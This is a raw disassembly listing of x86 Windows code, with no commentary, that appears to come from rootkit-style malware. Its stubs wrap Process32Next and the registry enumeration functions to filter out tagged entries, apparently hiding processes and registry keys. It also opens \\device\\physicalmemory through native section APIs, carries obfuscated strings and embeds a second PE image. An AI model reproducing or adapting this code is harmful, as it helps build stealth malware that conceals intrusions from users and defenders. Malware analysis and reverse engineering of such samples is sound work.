		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------

loc_43B9B5:				; CODE XREF: .data:0043B99Fj
		cmp	edi, 1F40h
		jle	short loc_43B9A1
		jmp	short loc_43B9C3
; ---------------------------------------------------------------------------

loc_43B9BF:				; CODE XREF: .data:0043BA10j
		mov	esi, ebx

loc_43B9C1:				; CODE XREF: .data:0043BA08j
		add	ebx, eax

loc_43B9C3:				; CODE XREF: .data:0043B9BDj
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx

loc_43B9D1:				; CODE XREF: .data:0043B9E4j
		bt	eax, ebx
		jb	short loc_43B9DC
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43B9E0
; ---------------------------------------------------------------------------

loc_43B9DC:				; CODE XREF: .data:0043B9D4j
		mov	byte ptr [esp+ebx], 31h

loc_43B9E0:				; CODE XREF: .data:0043B9DAj
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43B9D1
		push	esp
		call	near ptr 0C4FC5F8h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43B9F7
		popa
		jmp	short loc_43BA0A
; ---------------------------------------------------------------------------

loc_43B9F7:				; CODE XREF: .data:0043B9F2j
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_43BA06
		mov	dword ptr [esi], 0
		jmp	short loc_43BA0A
; ---------------------------------------------------------------------------

loc_43BA06:				; CODE XREF: .data:0043B9FCj
		add	[esi], eax
		jmp	short loc_43B9C1
; ---------------------------------------------------------------------------

loc_43BA0A:				; CODE XREF: .data:0043B9F5j
					; .data:0043BA04j
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_43B9A1
		jmp	short loc_43B9BF
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:off_43BE84o
word_43BA26	dw 8360h		; DATA XREF: .data:off_43BE8Co
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx

loc_43BA6E:				; CODE XREF: .data:0043BABCj
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 245BC85h
		test	eax, eax
		jz	short loc_43BABE
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx

loc_43BA95:				; CODE XREF: .data:0043BAA8j
		bt	eax, ebx
		jb	short loc_43BAA0
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43BAA4
; ---------------------------------------------------------------------------

loc_43BAA0:				; CODE XREF: .data:0043BA98j
		mov	byte ptr [esp+ebx], 31h

loc_43BAA4:				; CODE XREF: .data:0043BA9Ej
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43BA95
		push	esp
		call	near ptr 0C4FC6BCh
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43BABB
		popa
		jmp	short loc_43BABE
; ---------------------------------------------------------------------------

loc_43BABB:				; CODE XREF: .data:0043BAB6j
		popa
		jmp	short loc_43BA6E
; ---------------------------------------------------------------------------

loc_43BABE:				; CODE XREF: .data:0043BA85j
					; .data:0043BAB9j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43BAE4:				; CODE XREF: .data:0043BB31j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BCF7h
		test	eax, eax
		jnz	short loc_43BB33
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BAFF:				; CODE XREF: .data:0043BB05j
		cmp	byte ptr [ebx],	0
		jz	short loc_43BB07
		inc	ebx
		jmp	short loc_43BAFF
; ---------------------------------------------------------------------------

loc_43BB07:				; CODE XREF: .data:0043BB02j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC728h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BB2D
		popa
		jmp	short loc_43BB33
; ---------------------------------------------------------------------------

loc_43BB2D:				; CODE XREF: .data:0043BB28j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43BAE4
; ---------------------------------------------------------------------------

loc_43BB33:				; CODE XREF: .data:0043BAF7j
					; .data:0043BB2Bj
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43BB4C:				; CODE XREF: .data:0043BB9Fj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BD5Fh
		test	eax, eax
		jnz	short loc_43BBA1
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BB67:				; CODE XREF: .data:0043BB6Fj
		cmp	word ptr [ebx],	0
		jz	short loc_43BB71
		inc	ebx
		inc	ebx
		jmp	short loc_43BB67
; ---------------------------------------------------------------------------

loc_43BB71:				; CODE XREF: .data:0043BB6Bj
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C896h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BB9B
		popa
		jmp	short loc_43BBA1
; ---------------------------------------------------------------------------

loc_43BB9B:				; CODE XREF: .data:0043BB96j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43BB4C
; ---------------------------------------------------------------------------

loc_43BBA1:				; CODE XREF: .data:0043BB5Fj
					; .data:0043BB99j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_43BBA8	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h ;	DATA XREF: .data:0043BEE4o
		db 0
; ---------------------------------------------------------------------------

loc_43BBB9:				; DATA XREF: .data:0043BEECo
		push	ebp
		mov	ebp, esp

loc_43BBBC:				; CODE XREF: .data:0043BC37j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BBCA
		push	dword ptr [eax]

loc_43BBCA:				; CODE XREF: .data:0043BBC6j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BDE9h
		test	eax, eax
		jnz	short loc_43BC39
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BBF1:				; CODE XREF: .data:0043BBF9j
		cmp	word ptr [ebx],	0
		jz	short loc_43BBFB
		inc	ebx
		inc	ebx
		jmp	short loc_43BBF1
; ---------------------------------------------------------------------------

loc_43BBFB:				; CODE XREF: .data:0043BBF5j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C920h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BC25
		popa
		jmp	short loc_43BC39
; ---------------------------------------------------------------------------

loc_43BC25:				; CODE XREF: .data:0043BC20j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BC32
		pop	dword ptr [eax]

loc_43BC32:				; CODE XREF: .data:0043BC2Ej
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BBBC
; ---------------------------------------------------------------------------

loc_43BC39:				; CODE XREF: .data:0043BBE9j
					; .data:0043BC23j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43BC45
		add	esp, 4

loc_43BC45:				; CODE XREF: .data:0043BC40j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43BC60:				; CODE XREF: .data:0043BCD5j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BC6E
		push	dword ptr [eax]

loc_43BC6E:				; CODE XREF: .data:0043BC6Aj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BE8Dh
		test	eax, eax
		jnz	short loc_43BCD7
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BC95:				; CODE XREF: .data:0043BC9Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_43BC9D
		inc	ebx
		jmp	short loc_43BC95
; ---------------------------------------------------------------------------

loc_43BC9D:				; CODE XREF: .data:0043BC98j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC8BEh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BCC3
		popa
		jmp	short loc_43BCD7
; ---------------------------------------------------------------------------

loc_43BCC3:				; CODE XREF: .data:0043BCBEj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BCD0
		pop	dword ptr [eax]

loc_43BCD0:				; CODE XREF: .data:0043BCCCj
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BC60
; ---------------------------------------------------------------------------

loc_43BCD7:				; CODE XREF: .data:0043BC8Dj
					; .data:0043BCC1j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43BCE3
		add	esp, 4

loc_43BCE3:				; CODE XREF: .data:0043BCDEj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_43BCE8	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h ; DATA XREF: .data:0043BF04o
		db 65h,	57h, 0
; ---------------------------------------------------------------------------

loc_43BCFB:				; DATA XREF: .data:0043BF0Co
		push	ebp
		mov	ebp, esp

loc_43BCFE:				; CODE XREF: .data:0043BD79j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BD0C
		push	dword ptr [eax]

loc_43BD0C:				; CODE XREF: .data:0043BD08j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BF2Bh
		test	eax, eax
		jnz	short loc_43BD7B
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BD33:				; CODE XREF: .data:0043BD3Bj
		cmp	word ptr [ebx],	0
		jz	short loc_43BD3D
		inc	ebx
		inc	ebx
		jmp	short loc_43BD33
; ---------------------------------------------------------------------------

loc_43BD3D:				; CODE XREF: .data:0043BD37j
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50CA62h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BD67
		popa
		jmp	short loc_43BD7B
; ---------------------------------------------------------------------------

loc_43BD67:				; CODE XREF: .data:0043BD62j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BD74
		pop	dword ptr [eax]

loc_43BD74:				; CODE XREF: .data:0043BD70j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BCFE
; ---------------------------------------------------------------------------

loc_43BD7B:				; CODE XREF: .data:0043BD2Bj
					; .data:0043BD65j
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43BD87
		add	esp, 4

loc_43BD87:				; CODE XREF: .data:0043BD82j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp

loc_43BDA2:				; CODE XREF: .data:0043BE17j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BDB0
		push	dword ptr [eax]

loc_43BDB0:				; CODE XREF: .data:0043BDACj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BFCFh
		test	eax, eax
		jnz	short loc_43BE19
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax

loc_43BDD7:				; CODE XREF: .data:0043BDDDj
		cmp	byte ptr [ebx],	0
		jz	short loc_43BDDF
		inc	ebx
		jmp	short loc_43BDD7
; ---------------------------------------------------------------------------

loc_43BDDF:				; CODE XREF: .data:0043BDDAj
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FCA00h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BE05
		popa
		jmp	short loc_43BE19
; ---------------------------------------------------------------------------

loc_43BE05:				; CODE XREF: .data:0043BE00j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BE12
		pop	dword ptr [eax]

loc_43BE12:				; CODE XREF: .data:0043BE0Ej
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BDA2
; ---------------------------------------------------------------------------

loc_43BE19:				; CODE XREF: .data:0043BDCFj
					; .data:0043BE03j
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43BE25
		add	esp, 4

loc_43BE25:				; CODE XREF: .data:0043BE20j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402A4D+45Do
					; .data:off_43BE88o
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_40223C+Eo
					; .data:0043BE98o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .data:0043BEE8o
					; .data:0043BF08o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
off_43BE84	dd offset aProcess32next ; DATA	XREF: sub_402A4D+CFr
					; sub_402A4D+102r ...
					; "Process32Next"
off_43BE88	dd offset aKernel32_dll	; DATA XREF: sub_402A4D+B0r
					; "kernel32.dll"
off_43BE8C	dd offset word_43BA26	; DATA XREF: sub_4028A6+193r
byte_43BE90	db 0			; DATA XREF: sub_402A4D+76r
					; sub_402A4D+93r
		align 4
		dd offset dword_43B948+4
		dd offset aNtdll_dll	; "ntdll.dll"
		dd offset loc_43B965
		dd 1, 43B8C5h, 43BE2Fh,	43B8D3h, 1, 43B844h, 43BE2Fh, 43B852h
		dd 2, 43BB3Dh, 43BE46h,	43BB49h, 1, 43BAD5h, 43BE46h, 43BAE1h
		dd 0
		dd offset dword_43BBA8+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43BBB9
		dd 1, 43BC4Fh, 43BE46h,	43BC5Dh, 0
		dd offset dword_43BCE8+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43BCFB
		dd 1, 43BD91h, 43BE46h,	43BD9Fh, 5 dup(0)
		dd 4
dword_43BF38	dd 0Ah			; DATA XREF: sub_4022CC+152r
dword_43BF3C	dd 0			; DATA XREF: .text:004021B4r
					; .text:loc_4021CDr ...
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_40223C+25o
		dd offset dword_417644+607h
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_40223C+3Ao
aNVH2		db 'N-v%H|2',0
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_40223C+4Fo
aZE		db 'z>e',0
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_40223C+6Bo
aFpidy		db 'FpIdY  ',0
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_40223C+7Bo
aE1qf		db 'e`1qF',0
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_4022CC+C8o
aDevicePhysical:			; DATA XREF: sub_4022CC+2Do
		unicode	0, <\device\physicalmemory>,0
aA_utc2		db '_utc*2',0          ; DATA XREF: sub_40223C+1Do
aHgtr		db 'hgtr',0             ; DATA XREF: sub_4022CC+20o
aQOkgoj		db 'Q!okgOJ',0          ; DATA XREF: sub_4022CC+3Fo
dword_43C00F	dd 802036h		; DATA XREF: sub_4022CC+64r
aXghyb_v	db 'Xhyb.',0          ; DATA XREF: sub_4022CC+A5o
		align 4
		dw 8
		unicode	0, <>,0
dword_43C020	dd 0Bh			; DATA XREF: sub_402A4D+1BDr
					; sub_402A4D+5FAr
dword_43C024	dd 0			; DATA XREF: .text:004024F0r
					; .text:loc_402509r ...
aWcscmp		db 'wcscmp',0           ; DATA XREF: .data:off_43C0B8o
aHtons		db 'htons',0
		align 2
aVirtualprotect	db 'VirtualProtect',0
		align 2
aGetcurrentproc	db 'GetCurrentProcessId',0
aFindwindowa	db 'FindWindowA',0
aSendmessagea	db 'SendMessageA',0
a3		db '3&<',0
aIsbadreadptr	db 'IsBadReadPtr',0
aNgwn		db ' nGwn',0
aGlobalfindatom	db 'GlobalFindAtomA',0
aGlobalfindat_0	db 'GlobalFindAtomW',0
aRW		db '*r',27h,'w<#',0
		align 4
byte_43C0B4	db 3			; DATA XREF: sub_402572+B0r
		align 4
off_43C0B8	dd offset aWcscmp	; DATA XREF: sub_402572+137r
					; sub_402572+19Fr
					; "wcscmp"
off_43C0BC	dd offset aNtdll_dll	; DATA XREF: sub_402572+124r
					; "ntdll.dll"
		dd 5, 43C02Fh, 43BE6Dh,	7, 43C036h, 43BE2Fh, 8,	43C046h
		dd 43BE2Fh, 9, 43C05Ah,	43BE79h, 0Ah, 43C066h, 43BE79h
		dd 0Bh,	43C077h, 43BE2Fh, 0Ch, 43C08Ah,	43BE2Fh, 0Dh, 43C09Ah
		dd 43BE2Fh
aA9s		db 'A^9S',0             ; DATA XREF: sub_402572+26Co
dword_43C125	dd 27603Dh		; DATA XREF: sub_4028A6:loc_402945r
word_43C129	dw 81h			; DATA XREF: sub_402A4D+110r
aTzT6		db 'tz|&>T6',0          ; DATA XREF: sub_402A4D+17Bo
word_43C133	dw 82h			; DATA XREF: sub_402A4D+1D3r
aLj0yrfp	db 'lJ0YrFP',0          ; DATA XREF: sub_402A4D+2C0o
word_43C13D	dw 5Eh			; DATA XREF: sub_402A4D+370r
byte_43C13F	db 2Dh			; DATA XREF: sub_402A4D+722o
		db 64h,	0
dword_43C142	dd 204359h		; DATA XREF: sub_402A4D+746r
aLvdw_x		db 'LVDW.X',0           ; DATA XREF: sub_402A4D+761o
dword_43C14D	dd 4B5258h		; DATA XREF: sub_402A4D+829r
		align 4
		dd 3, 10h
dword_43C15C	dd 6			; DATA XREF: sub_4032E7+Fr
					; sub_4032E7:loc_403316r ...
dword_43C160	dd 30643C7Fh		; DATA XREF: sub_403383+Fo
		db 0
byte_43C165	db 49h,	69h, 0		; DATA XREF: sub_403383+4Fo
dword_43C168	dd 3D7258h		; DATA XREF: sub_403449+11r
aOqd		db ' OQD',0             ; DATA XREF: sub_403449+3Co
aR6		db 'R6',0               ; DATA XREF: sub_4034D8+19o
		dd 5
dword_43C178	dd 0Bh			; DATA XREF: sub_403610+32r
dword_43C17C	dd 0			; DATA XREF: sub_40357C+15r
					; sub_40357C:loc_4035AAr ...
word_43C180	dw 68h			; DATA XREF: sub_403610+18r
word_43C182	dw 0			; DATA XREF: sub_4036F2+11o
		dd 1, 0Dh
dword_43C18C	dd 0			; DATA XREF: sub_40375C+15r
					; sub_40375C:loc_40378Ar ...
byte_43C190	db 3Eh,	80h, 0		; DATA XREF: sub_4037EF+17o
word_43C193	dw 2Fh			; DATA XREF: sub_4037EF+33r
aH8me		db 'H8mE',0             ; DATA XREF: .text:0040389Fo
		align 10h
		dd 0Eh
dword_43C1A4	dd 0E5h			; DATA XREF: sub_403936+15r
					; sub_403936:loc_40396Br ...
dword_43C1A8	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_403C5F+2D9o
		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
a_text		db '.text',0
		align 4
		db '',7,0
		align 4
		dd 1000h, 7BCh,	400h, 3	dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
		dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
		dd 1024548Bh, 3B80289h,	0C3000000h

; =============== S U B	R O U T	I N E =======================================



sub_43C5C8	proc near		; CODE XREF: .data:0043C6F0p
					; .data:0043C71Ep

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_43C5E5:				; CODE XREF: sub_43C5C8+44j
					; sub_43C5C8+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43C614
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43C614
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43C5E5
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43C5E5
; ---------------------------------------------------------------------------

loc_43C614:				; CODE XREF: sub_43C5C8+2Aj
					; sub_43C5C8+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43C5C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C622	proc near		; CODE XREF: .data:0043C6E3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_43CCBC
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43C622	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43C717
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_43C675:				; CODE XREF: .data:0043C70Ej
		cmp	esi, 0FFFFFFFFh
		jz	loc_43C726
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43C705
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43C705
		js	short loc_43C713
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43C622
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43C5C8
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_43C705:				; CODE XREF: .data:0043C686j
					; .data:0043C6DBj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43C675
; ---------------------------------------------------------------------------

loc_43C713:				; CODE XREF: .data:0043C6DDj
		xor	eax, eax
		jmp	short loc_43C730
; ---------------------------------------------------------------------------

loc_43C717:				; CODE XREF: .data:0043C65Aj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43C5C8
		add	esp, 0Ch

loc_43C726:				; CODE XREF: .data:0043C678j
		push	0Bh
		call	sub_43CD28
		add	esp, 4

loc_43C730:				; CODE XREF: .data:0043C715j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43C749
		call	sub_43C76C

loc_43C749:				; CODE XREF: .data:0043C742j
		call	sub_43CC1B
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0F2EB0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C76C	proc near		; CODE XREF: .data:0043C744p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_43CCE0
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_43CCE0
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_43CCE0
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_43CCD4
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_43CCD4
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_43CCD4
		add	esp, 30h
